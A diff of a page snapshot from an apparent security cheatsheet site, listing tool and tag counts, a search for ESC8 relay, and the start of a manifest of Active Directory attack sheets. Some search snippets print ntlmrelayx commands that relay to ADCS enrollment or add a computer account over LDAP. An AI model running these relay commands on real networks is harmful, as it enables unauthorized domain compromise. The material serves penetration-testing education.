+          - link "smb 3" [ref=f13e683] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/smb
+            - text: smb
+            - generic [ref=f13e684]: "3"
+          - link "tunneling-pivoting 3" [ref=f13e685] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling-pivoting
+            - text: tunneling-pivoting
+            - generic [ref=f13e686]: "3"
+          - link "workflow 3" [ref=f13e687] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/workflow
+            - text: workflow
+            - generic [ref=f13e688]: "3"
+          - link "brute-force 2" [ref=f13e689] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/brute-force
+            - text: brute-force
+            - generic [ref=f13e690]: "2"
+          - link "cli 2" [ref=f13e691] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cli
+            - text: cli
+            - generic [ref=f13e692]: "2"
+          - link "forensics 2" [ref=f13e693] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/forensics
+            - text: forensics
+            - generic [ref=f13e694]: "2"
+          - link "git-workflow 2" [ref=f13e695] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git-workflow
+            - text: git-workflow
+            - generic [ref=f13e696]: "2"
+          - link "hashes 2" [ref=f13e697] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashes
+            - text: hashes
+            - generic [ref=f13e698]: "2"
+          - link "ldap 2" [ref=f13e699] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ldap
+            - text: ldap
+            - generic [ref=f13e700]: "2"
+          - link "osint 2" [ref=f13e701] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/osint
+            - text: osint
+            - generic [ref=f13e702]: "2"
+          - link "port-forwarding 2" [ref=f13e703] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-forwarding
+            - text: port-forwarding
+            - generic [ref=f13e704]: "2"
+          - link "port-scanning 2" [ref=f13e705] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-scanning
+            - text: port-scanning
+            - generic [ref=f13e706]: "2"
+          - link "productivity 2" [ref=f13e707] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/productivity
+            - text: productivity
+            - generic [ref=f13e708]: "2"
+          - link "recon 2" [ref=f13e709] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recon
+            - text: recon
+            - generic [ref=f13e710]: "2"
+          - link "scanning 2" [ref=f13e711] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/scanning
+            - text: scanning
+            - generic [ref=f13e712]: "2"
+          - link "shares 2" [ref=f13e713] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shares
+            - text: shares
+            - generic [ref=f13e714]: "2"
+          - link "spraying 2" [ref=f13e715] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/spraying
+            - text: spraying
+            - generic [ref=f13e716]: "2"
+          - link "terminal 2" [ref=f13e717] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/terminal
+            - text: terminal
+            - generic [ref=f13e718]: "2"
+          - link "tooling 2" [ref=f13e719] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tooling
+            - text: tooling
+            - generic [ref=f13e720]: "2"
+          - link "acl-abuse 1" [ref=f13e721] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/acl-abuse
+            - text: acl-abuse
+            - generic [ref=f13e722]: "1"
+          - link "binary 1" [ref=f13e723] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/binary
+            - text: binary
+            - generic [ref=f13e724]: "1"
+          - link "branching 1" [ref=f13e725] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/branching
+            - text: branching
+            - generic [ref=f13e726]: "1"
+          - link "buffer-overflow 1" [ref=f13e727] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/buffer-overflow
+            - text: buffer-overflow
+            - generic [ref=f13e728]: "1"
+          - link "c2 1" [ref=f13e729] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/c2
+            - text: c2
+            - generic [ref=f13e730]: "1"
+          - link "coercion 1" [ref=f13e731] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/coercion
+            - text: coercion
+            - generic [ref=f13e732]: "1"
+          - link "commands 1" [ref=f13e733] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/commands
+            - text: commands
+            - generic [ref=f13e734]: "1"
+          - link "defense 1" [ref=f13e735] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/defense
+            - text: defense
+            - generic [ref=f13e736]: "1"
+          - link "dotnet 1" [ref=f13e737] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dotnet
+            - text: dotnet
+            - generic [ref=f13e738]: "1"
+          - link "encryption 1" [ref=f13e739] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/encryption
+            - text: encryption
+            - generic [ref=f13e740]: "1"
+          - link "esc 1" [ref=f13e741] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/esc
+            - text: esc
+            - generic [ref=f13e742]: "1"
+          - link "file-inclusion 1" [ref=f13e743] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-inclusion
+            - text: file-inclusion
+            - generic [ref=f13e744]: "1"
+          - link "file-transfer 1" [ref=f13e745] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-transfer
+            - text: file-transfer
+            - generic [ref=f13e746]: "1"
+          - link "framework 1" [ref=f13e747] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/framework
+            - text: framework
+            - generic [ref=f13e748]: "1"
+          - link "fuzzing 1" [ref=f13e749] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/fuzzing
+            - text: fuzzing
+            - generic [ref=f13e750]: "1"
+          - link "graph 1" [ref=f13e751] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/graph
+            - text: graph
+            - generic [ref=f13e752]: "1"
+          - link "http 1" [ref=f13e753] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/http
+            - text: http
+            - generic [ref=f13e754]: "1"
+          - link "identification 1" [ref=f13e755] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/identification
+            - text: identification
+            - generic [ref=f13e756]: "1"
+          - link "incident-response 1" [ref=f13e757] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/incident-response
+            - text: incident-response
+            - generic [ref=f13e758]: "1"
+          - link "internal 1" [ref=f13e759] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/internal
+            - text: internal
+            - generic [ref=f13e760]: "1"
+          - link "lfi 1" [ref=f13e761] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lfi
+            - text: lfi
+            - generic [ref=f13e762]: "1"
+          - link "macos 1" [ref=f13e763] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/macos
+            - text: macos
+            - generic [ref=f13e764]: "1"
+          - link "malware 1" [ref=f13e765] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/malware
+            - text: malware
+            - generic [ref=f13e766]: "1"
+          - link "memory-forensics 1" [ref=f13e767] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/memory-forensics
+            - text: memory-forensics
+            - generic [ref=f13e768]: "1"
+          - link "methodology 1" [ref=f13e769] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/methodology
+            - text: methodology
+            - generic [ref=f13e770]: "1"
+          - link "network-forensics 1" [ref=f13e771] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network-forensics
+            - text: network-forensics
+            - generic [ref=f13e772]: "1"
+          - link "offensive 1" [ref=f13e773] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/offensive
+            - text: offensive
+            - generic [ref=f13e774]: "1"
+          - link "pcap 1" [ref=f13e775] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pcap
+            - text: pcap
+            - generic [ref=f13e776]: "1"
+          - link "permissions 1" [ref=f13e777] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/permissions
+            - text: permissions
+            - generic [ref=f13e778]: "1"
+          - link "pgp 1" [ref=f13e779] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pgp
+            - text: pgp
+            - generic [ref=f13e780]: "1"
+          - link "phishing 1" [ref=f13e781] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/phishing
+            - text: phishing
+            - generic [ref=f13e782]: "1"
+          - link "recovery 1" [ref=f13e783] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recovery
+            - text: recovery
+            - generic [ref=f13e784]: "1"
+          - link "red-team 1" [ref=f13e785] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/red-team
+            - text: red-team
+            - generic [ref=f13e786]: "1"
+          - link "registry 1" [ref=f13e787] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/registry
+            - text: registry
+            - generic [ref=f13e788]: "1"
+          - link "rfi 1" [ref=f13e789] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/rfi
+            - text: rfi
+            - generic [ref=f13e790]: "1"
+          - link "screenshots 1" [ref=f13e791] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/screenshots
+            - text: screenshots
+            - generic [ref=f13e792]: "1"
+          - link "search 1" [ref=f13e793] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/search
+            - text: search
+            - generic [ref=f13e794]: "1"
+          - link "shells 1" [ref=f13e795] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shells
+            - text: shells
+            - generic [ref=f13e796]: "1"
+          - link "ssh 1" [ref=f13e797] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ssh
+            - text: ssh
+            - generic [ref=f13e798]: "1"
+          - link "tickets 1" [ref=f13e799] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tickets
+            - text: tickets
+            - generic [ref=f13e800]: "1"
+          - link "tls 1" [ref=f13e801] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tls
+            - text: tls
+            - generic [ref=f13e802]: "1"
+          - link "undo 1" [ref=f13e803] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/undo
+            - text: undo
+            - generic [ref=f13e804]: "1"
+          - link "version-control 1" [ref=f13e805] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/version-control
+            - text: version-control
+            - generic [ref=f13e806]: "1"
+          - link "vulnerabilities 1" [ref=f13e807] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/vulnerabilities
+            - text: vulnerabilities
+            - generic [ref=f13e808]: "1"
+          - link "wordpress 1" [ref=f13e809] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/wordpress
+            - text: wordpress
+            - generic [ref=f13e810]: "1"
+      - generic [ref=f13e811]:
+        - generic [ref=f13e813]:
+          - paragraph [ref=f13e814]:
+            - generic [ref=f13e815]: "02"
+            - generic [ref=f13e816]: "^:"
+            - generic [ref=f13e817]: 95 tools
+          - heading "By tool" [level=2] [ref=f13e818]
+        - generic [ref=f13e819]:
+          - generic [ref=f13e820]:
+            - text: Impacket
+            - generic [ref=f13e821]: "75"
+          - generic [ref=f13e822]:
+            - text: PowerShell
+            - generic [ref=f13e823]: "71"
+          - generic [ref=f13e824]:
+            - text: Certipy
+            - generic [ref=f13e825]: "52"
+          - generic [ref=f13e826]:
+            - text: NetExec
+            - generic [ref=f13e827]: "48"
+          - generic [ref=f13e828]:
+            - text: Mimikatz
+            - generic [ref=f13e829]: "47"
+          - generic [ref=f13e830]:
+            - text: Rubeus
+            - generic [ref=f13e831]: "43"
+          - generic [ref=f13e832]:
+            - text: BloodHound
+            - generic [ref=f13e833]: "33"
+          - generic [ref=f13e834]:
+            - text: Evil-WinRM
+            - generic [ref=f13e835]: "20"
+          - generic [ref=f13e836]:
+            - text: OpenSSL
+            - generic [ref=f13e837]: "17"
+          - generic [ref=f13e838]:
+            - text: Nmap
+            - generic [ref=f13e839]: "16"
+          - generic [ref=f13e840]:
+            - text: Metasploit
+            - generic [ref=f13e841]: "13"
+          - generic [ref=f13e842]:
+            - text: Certify
+            - generic [ref=f13e843]: "11"
+          - generic [ref=f13e844]:
+            - text: Hashcat
+            - generic [ref=f13e845]: "11"
+          - generic [ref=f13e846]:
+            - text: ldapsearch
+            - generic [ref=f13e847]: "10"
+          - generic [ref=f13e848]:
+            - text: Meterpreter
+            - generic [ref=f13e849]: "7"
+          - generic [ref=f13e850]:
+            - text: faketime
+            - generic [ref=f13e851]: "5"
+          - generic [ref=f13e852]:
+            - text: John
+            - generic [ref=f13e853]: "5"
+          - generic [ref=f13e854]:
+            - text: Responder
+            - generic [ref=f13e855]: "4"
+          - generic [ref=f13e856]:
+            - text: socat
+            - generic [ref=f13e857]: "4"
+          - generic [ref=f13e858]:
+            - text: Chisel
+            - generic [ref=f13e859]: "3"
+          - generic [ref=f13e860]:
+            - text: ffuf
+            - generic [ref=f13e861]: "3"
+          - generic [ref=f13e862]:
+            - text: git
+            - generic [ref=f13e863]: "3"
+          - generic [ref=f13e864]:
+            - text: Gitleaks
+            - generic [ref=f13e865]: "3"
+          - generic [ref=f13e866]:
+            - text: Kerbrute
+            - generic [ref=f13e867]: "3"
+          - generic [ref=f13e868]:
+            - text: Ligolo-ng
+            - generic [ref=f13e869]: "3"
+          - generic [ref=f13e870]:
+            - text: CrackMapExec
+            - generic [ref=f13e871]: "2"
+          - generic [ref=f13e872]:
+            - text: curl
+            - generic [ref=f13e873]: "2"
+          - generic [ref=f13e874]:
+            - text: Gobuster
+            - generic [ref=f13e875]: "2"
+          - generic [ref=f13e876]:
+            - text: GPG
+            - generic [ref=f13e877]: "2"
+          - generic [ref=f13e878]:
+            - text: Nuclei
+            - generic [ref=f13e879]: "2"
+          - generic [ref=f13e880]:
+            - text: SharpHound
+            - generic [ref=f13e881]: "2"
+          - generic [ref=f13e882]:
+            - text: Snaffler
+            - generic [ref=f13e883]: "2"
+          - generic [ref=f13e884]:
+            - text: SQLMap
+            - generic [ref=f13e885]: "2"
+          - generic [ref=f13e886]:
+            - text: SSH
+            - generic [ref=f13e887]: "2"
+          - generic [ref=f13e888]:
+            - text: TruffleHog
+            - generic [ref=f13e889]: "2"
+          - generic [ref=f13e890]:
+            - text: Autopsy
+            - generic [ref=f13e891]: "1"
+          - generic [ref=f13e892]:
+            - text: bloodhound-python
+            - generic [ref=f13e893]: "1"
+          - generic [ref=f13e894]:
+            - text: BloodyAD
+            - generic [ref=f13e895]: "1"
+          - generic [ref=f13e896]:
+            - text: Burp Suite
+            - generic [ref=f13e897]: "1"
+          - generic [ref=f13e898]:
+            - text: certutil
+            - generic [ref=f13e899]: "1"
+          - generic [ref=f13e900]:
+            - text: chmod
+            - generic [ref=f13e901]: "1"
+          - generic [ref=f13e902]:
+            - text: chown
+            - generic [ref=f13e903]: "1"
+          - generic [ref=f13e904]:
+            - text: cmd
+            - generic [ref=f13e905]: "1"
+          - generic [ref=f13e906]:
+            - text: Cobalt Strike
+            - generic [ref=f13e907]: "1"
+          - generic [ref=f13e908]:
+            - text: Coercer
+            - generic [ref=f13e909]: "1"
+          - generic [ref=f13e910]:
+            - text: defaults
+            - generic [ref=f13e911]: "1"
+          - generic [ref=f13e912]:
+            - text: EyeWitness
+            - generic [ref=f13e913]: "1"
+          - generic [ref=f13e914]:
+            - text: find
+            - generic [ref=f13e915]: "1"
+          - generic [ref=f13e916]:
+            - text: fscan
+            - generic [ref=f13e917]: "1"
+          - generic [ref=f13e918]:
+            - text: GnuPG
+            - generic [ref=f13e919]: "1"
+          - generic [ref=f13e920]:
+            - text: GTFOBins
+            - generic [ref=f13e921]: "1"
+          - generic [ref=f13e922]:
+            - text: hash-identifier
+            - generic [ref=f13e923]: "1"
+          - generic [ref=f13e924]:
+            - text: hashid
+            - generic [ref=f13e925]: "1"
+          - generic [ref=f13e926]:
+            - text: Hydra
+            - generic [ref=f13e927]: "1"
+          - generic [ref=f13e928]:
+            - text: Immunity Debugger
+            - generic [ref=f13e929]: "1"
+          - generic [ref=f13e930]:
+            - text: John the Ripper
+            - generic [ref=f13e931]: "1"
+          - generic [ref=f13e932]:
+            - text: JuicyPotato
+            - generic [ref=f13e933]: "1"
+          - generic [ref=f13e934]:
+            - text: linPEAS
+            - generic [ref=f13e935]: "1"
+          - generic [ref=f13e936]:
+            - text: Medusa
+            - generic [ref=f13e937]: "1"
+          - generic [ref=f13e938]:
+            - text: mona.py
+            - generic [ref=f13e939]: "1"
+          - generic [ref=f13e940]:
+            - text: msfconsole
+            - generic [ref=f13e941]: "1"
+          - generic [ref=f13e942]:
+            - text: msfvenom
+            - generic [ref=f13e943]: "1"
+          - generic [ref=f13e944]:
+            - text: MySQL client
+            - generic [ref=f13e945]: "1"
+          - generic [ref=f13e946]:
+            - text: nc
+            - generic [ref=f13e947]: "1"
+          - generic [ref=f13e948]:
+            - text: Nikto
+            - generic [ref=f13e949]: "1"
+          - generic [ref=f13e950]:
+            - text: ntlmrelayx
+            - generic [ref=f13e951]: "1"
+          - generic [ref=f13e952]:
+            - text: nxc
+            - generic [ref=f13e953]: "1"
+          - generic [ref=f13e954]:
+            - text: openssl
+            - generic [ref=f13e955]: "1"
+          - generic [ref=f13e956]:
+            - text: plaso
+            - generic [ref=f13e957]: "1"
+          - generic [ref=f13e958]:
+            - text: plink
+            - generic [ref=f13e959]: "1"
+          - generic [ref=f13e960]:
+            - text: PowerUp
+            - generic [ref=f13e961]: "1"
+          - generic [ref=f13e962]:
+            - text: pspy
+            - generic [ref=f13e963]: "1"
+          - generic [ref=f13e964]:
+            - text: python
+            - generic [ref=f13e965]: "1"
+          - generic [ref=f13e966]:
+            - text: RECmd
+            - generic [ref=f13e967]: "1"
+          - generic [ref=f13e968]:
+            - text: Registry Explorer
+            - generic [ref=f13e969]: "1"
+          - generic [ref=f13e970]:
+            - text: RustScan
+            - generic [ref=f13e971]: "1"
+          - generic [ref=f13e972]:
+            - text: SharpSploit
+            - generic [ref=f13e973]: "1"
+          - generic [ref=f13e974]:
+            - text: Shodan
+            - generic [ref=f13e975]: "1"
+          - generic [ref=f13e976]:
+            - text: Sleuth Kit
+            - generic [ref=f13e977]: "1"
+          - generic [ref=f13e978]:
+            - text: smbmap
+            - generic [ref=f13e979]: "1"
+          - generic [ref=f13e980]:
+            - text: SMBMap
+            - generic [ref=f13e981]: "1"
+          - generic [ref=f13e982]:
+            - text: smbserver
+            - generic [ref=f13e983]: "1"
+          - generic [ref=f13e984]:
+            - text: stty
+            - generic [ref=f13e985]: "1"
+          - generic [ref=f13e986]:
+            - text: tmux
+            - generic [ref=f13e987]: "1"
+          - generic [ref=f13e988]:
+            - text: tshark
+            - generic [ref=f13e989]: "1"
+          - generic [ref=f13e990]:
+            - text: TShark
+            - generic [ref=f13e991]: "1"
+          - generic [ref=f13e992]:
+            - text: umask
+            - generic [ref=f13e993]: "1"
+          - generic [ref=f13e994]:
+            - text: urlscan
+            - generic [ref=f13e995]: "1"
+          - generic [ref=f13e996]:
+            - text: VirusTotal
+            - generic [ref=f13e997]: "1"
+          - generic [ref=f13e998]:
+            - text: Volatility 3
+            - generic [ref=f13e999]: "1"
+          - generic [ref=f13e1000]:
+            - text: wget
+            - generic [ref=f13e1001]: "1"
+          - generic [ref=f13e1002]:
+            - text: winPEAS
+            - generic [ref=f13e1003]: "1"
+          - generic [ref=f13e1004]:
+            - text: Wireshark
+            - generic [ref=f13e1005]: "1"
+          - generic [ref=f13e1006]:
+            - text: WPScan
+            - generic [ref=f13e1007]: "1"
+          - generic [ref=f13e1008]:
+            - text: zsh
+            - generic [ref=f13e1009]: "1"
+  - contentinfo [ref=f13e1010]:
+    - generic [ref=f13e1011]:
+      - generic [ref=f13e1012]:
+        - link "DÆMON // SEC" [ref=f13e1013] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f13e1014]: //
+          - text: SEC
+        - paragraph [ref=f13e1015]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f13e1016]:
+        - link "daemon-404.github.io β†—" [ref=f13e1017] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f13e1018] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f13e1019]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f13e1020] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f13e1021] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f13e1022]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f13e1023]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f13e1026]:
+    - generic [ref=f13e1027]:
+      - combobox "Search query" [expanded] [active] [ref=f13e1031]: esc8 relay
+      - button "Close search" [ref=f13e1032] [cursor=pointer]
+    - paragraph [ref=f13e1037]:
+      - generic [ref=f13e1038]: 8 of 12 matches
+      - generic [ref=f13e1039]: ↑↓ ↡
+    - listbox "Search results" [ref=f13e1040]:
+      - 'option "01 AD Attack #33 β€” ESC8 NTLM Relay to ADCS HTTP Endpoint #33 β€” ESC8: NTLM Relay to ADCS HTTP Endpoint. How It Works. ESC8 is one of the most impactful ADCS attacks β€” it enables a full domain compromise from" [selected] [ref=f13e1041] [cursor=pointer]':
+        - generic [ref=f13e1042]: "01"
+        - generic [ref=f13e1043]: AD
+        - generic [ref=f13e1044]: "Attack #33 β€” ESC8 NTLM Relay to ADCS HTTP Endpoint"
+        - generic [ref=f13e1045]:
+          - text: "#33 β€”"
+          - mark [ref=f13e1046]: "ESC8:"
+          - text: NTLM
+          - mark [ref=f13e1047]: Relay
+          - text: to ADCS HTTP Endpoint. How It Works.
+          - mark [ref=f13e1048]: ESC8
+          - text: is one of the most impactful ADCS attacks β€” it enables a full domain compromise from
+      - option "02 AD ESC8 β€” NTLM Relay to ADCS HTTP Web Enrollment What Is ESC8? ESC8 is a network-level NTLM relay attack against the ADCS Web Enrollment HTTP interface. Every ESC attack up" [ref=f13e1052] [cursor=pointer]:
+        - generic [ref=f13e1053]: "02"
+        - generic [ref=f13e1054]: AD
+        - generic [ref=f13e1055]: ESC8 β€” NTLM Relay to ADCS HTTP Web Enrollment
+        - generic [ref=f13e1056]:
+          - text: What Is
+          - mark [ref=f13e1057]: ESC8?
+          - mark [ref=f13e1058]: ESC8
+          - text: is a network-level NTLM
+          - mark [ref=f13e1059]: relay
+          - text: attack against the ADCS Web Enrollment HTTP interface. Every ESC attack up
+      - option "03 AD ESC11 β€” NTLM Relay to ADCS RPC (ICPR) Chain β€” Linux (Certipy Relay). Certipy v4+ has native relay support built in, making ESC11 significantly cleaner than ESC8’s ntlmrelayx approach. Step 1 β€” Start the Certipy Relay Listener. Open" [ref=f13e1063] [cursor=pointer]:
+        - generic [ref=f13e1064]: "03"
+        - generic [ref=f13e1065]: AD
+        - generic [ref=f13e1066]: ESC11 β€” NTLM Relay to ADCS RPC (ICPR)
+        - generic [ref=f13e1067]:
+          - text: Chain β€” Linux (Certipy
+          - mark [ref=f13e1068]: Relay).
+          - text: Certipy v4+ has native
+          - mark [ref=f13e1069]: relay
+          - text: support built in, making ESC11 significantly cleaner than
+          - mark [ref=f13e1070]: ESC8’s
+          - text: ntlmrelayx approach. Step 1 β€” Start the Certipy
+          - mark [ref=f13e1071]: Relay
+          - text: Listener. Open
+      - 'option "04 AD Attack #41 β€” PetitPotam (CVE-2021-36942) … ck Chain β€” PetitPotam + ESC8 (Most Common). # Terminal 1: Start relay to ADCS web enrollment ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \\ -smb2support" [ref=f13e1075] [cursor=pointer]':
+        - generic [ref=f13e1076]: "04"
+        - generic [ref=f13e1077]: AD
+        - generic [ref=f13e1078]: "Attack #41 β€” PetitPotam (CVE-2021-36942)"
+        - generic [ref=f13e1079]:
+          - text: … ck Chain β€” PetitPotam +
+          - mark [ref=f13e1080]: ESC8
+          - text: "(Most Common). # Terminal 1: Start"
+          - mark [ref=f13e1081]: relay
+          - text: to ADCS web enrollment ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ -smb2support
+      - 'option "05 AD Attack #7 β€” NTLM Relay Attacks account) # Relay to LDAP β€” add new computer account (MAQ abuse) ntlmrelayx.py -t ldap://10.10.10.10 --add-computer EVILPC EvilPass123! ADCS Relay β€” Full Domain Compromise (ESC8 Preview β€”" [ref=f13e1085] [cursor=pointer]':
+        - generic [ref=f13e1086]: "05"
+        - generic [ref=f13e1087]: AD
+        - generic [ref=f13e1088]: "Attack #7 β€” NTLM Relay Attacks"
+        - generic [ref=f13e1089]:
+          - text: "account) #"
+          - mark [ref=f13e1090]: Relay
+          - text: to LDAP β€” add new computer account (MAQ abuse) ntlmrelayx.py -t ldap://10.10.10.10 --add-computer EVILPC EvilPass123! ADCS
+          - mark [ref=f13e1091]: Relay
+          - text: β€” Full Domain Compromise
+          - mark [ref=f13e1092]: (ESC8
+          - text: Preview β€”
+      - 'option "06 TOOL NTLM & Kerberos Relay Kerberos Relay. Context β€” HTB / CPTS / authorised AD labs. Tool: Impacket ntlmrelayx plus coercion helpers. Flags verified against ntlmrelayx.py -h (Impacket v0.13.x). Always re-check on your build. Relay" [ref=f13e1096] [cursor=pointer]':
+        - generic [ref=f13e1097]: "06"
+        - generic [ref=f13e1098]: TOOL
+        - generic [ref=f13e1099]: NTLM & Kerberos Relay
+        - generic [ref=f13e1100]:
+          - text: Kerberos
+          - mark [ref=f13e1101]: Relay.
+          - text: "Context β€” HTB / CPTS / authorised AD labs. Tool: Impacket ntlmrelayx plus coercion helpers. Flags verified against ntlmrelayx.py -h (Impacket v0.13.x). Always re-check on your build."
+          - mark [ref=f13e1102]: Relay
+      - 'option "07 AD Attack #34 β€” ESC11 NTLM Relay to ADCS RPC ESC11: NTLM Relay to ADCS RPC. How It Works. ESC11 is similar to ESC8 but targets the CA’s RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment." [ref=f13e1106] [cursor=pointer]':
+        - generic [ref=f13e1107]: "07"
+        - generic [ref=f13e1108]: AD
+        - generic [ref=f13e1109]: "Attack #34 β€” ESC11 NTLM Relay to ADCS RPC"
+        - generic [ref=f13e1110]:
+          - text: "ESC11: NTLM"
+          - mark [ref=f13e1111]: Relay
+          - text: to ADCS RPC. How It Works. ESC11 is similar to
+          - mark [ref=f13e1112]: ESC8
+          - text: but targets the CA’s RPC enrollment interface (MS-ICPR) instead of the HTTP web enrollment.
+      - 'option "08 AD Attack #42 β€” PrinterBug SpoolSample … acks. PrinterBug + ADCS Relay (ESC8). # Terminal 1: Start NTLM relay to ADCS web enrollment ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \\ --adcs" [ref=f13e1116] [cursor=pointer]':
+        - generic [ref=f13e1117]: "08"
+        - generic [ref=f13e1118]: AD
+        - generic [ref=f13e1119]: "Attack #42 β€” PrinterBug SpoolSample"
+        - generic [ref=f13e1120]:
+          - text: … acks. PrinterBug + ADCS
+          - mark [ref=f13e1121]: Relay
+          - mark [ref=f13e1122]: (ESC8).
+          - text: "# Terminal 1: Start NTLM"
+          - mark [ref=f13e1123]: relay
+          - text: to ADCS web enrollment ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp \ --adcs
+  - generic [ref=f13e1024]: Tags & Tools — DÆMON//SEC
+\ No newline at end of file
diff --git a/content-manifest.json b/content-manifest.json
@@ -1,1200 +1,1222 @@
 {
- "sheets": [
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/Active-Directory_cheat_sheet.md",
-   "category": "active-directory",
-   "slug": "active-directory-attacks",
-   "title": "Active Directory Attack Methodology",
-   "description": "End-to-end AD exploitation: enum, roasting, delegation, lateral movement, DCSync, persistence.",
-   "tools": [
-    "Impacket",
-    "Rubeus",
-    "Mimikatz",
-    "CrackMapExec"
-   ],
-   "tags": [
-    "active-directory",
-    "methodology",
-    "kerberos",
-    "lateral-movement"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "Consolidated AD attack encyclopedia (1 of 3 consolidated AD sheets); replaces the 78-file AD-Attack catalog."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/AD_Pentest_Tools_Cheat_Sheet.md",
-   "category": "active-directory",
-   "slug": "ad-pentest-tools",
-   "title": "AD Pentest Tools Workflow",
-   "description": "Tooling-oriented AD engagement workflow with copy-paste commands from enumeration to domain takeover.",
-   "tools": [
-    "NetExec",
-    "BloodHound",
-    "Impacket",
-    "ldapsearch"
-   ],
-   "tags": [
-    "active-directory",
-    "tooling",
-    "workflow",
-    "enumeration"
-   ],
-   "difficulty": "advanced",
-   "action": "port",
-   "note": "2nd consolidated AD sheet: tool/command quickref; distinct focus (tools vs techniques)."
-  },
-  {
-   "source": "vault",
-   "rel": "ActiveDirectory/ACL-ESC-Techniques/_ADCS Attack Methodology Guide.md",
-   "category": "active-directory",
-   "slug": "adcs-attack-methodology",
-   "title": "ADCS Attack Methodology",
-   "description": "ADCS/ESC attack index following Certified Pre-Owned taxonomy: ESC, THEFT, PERSIST, DPERSIST phases.",
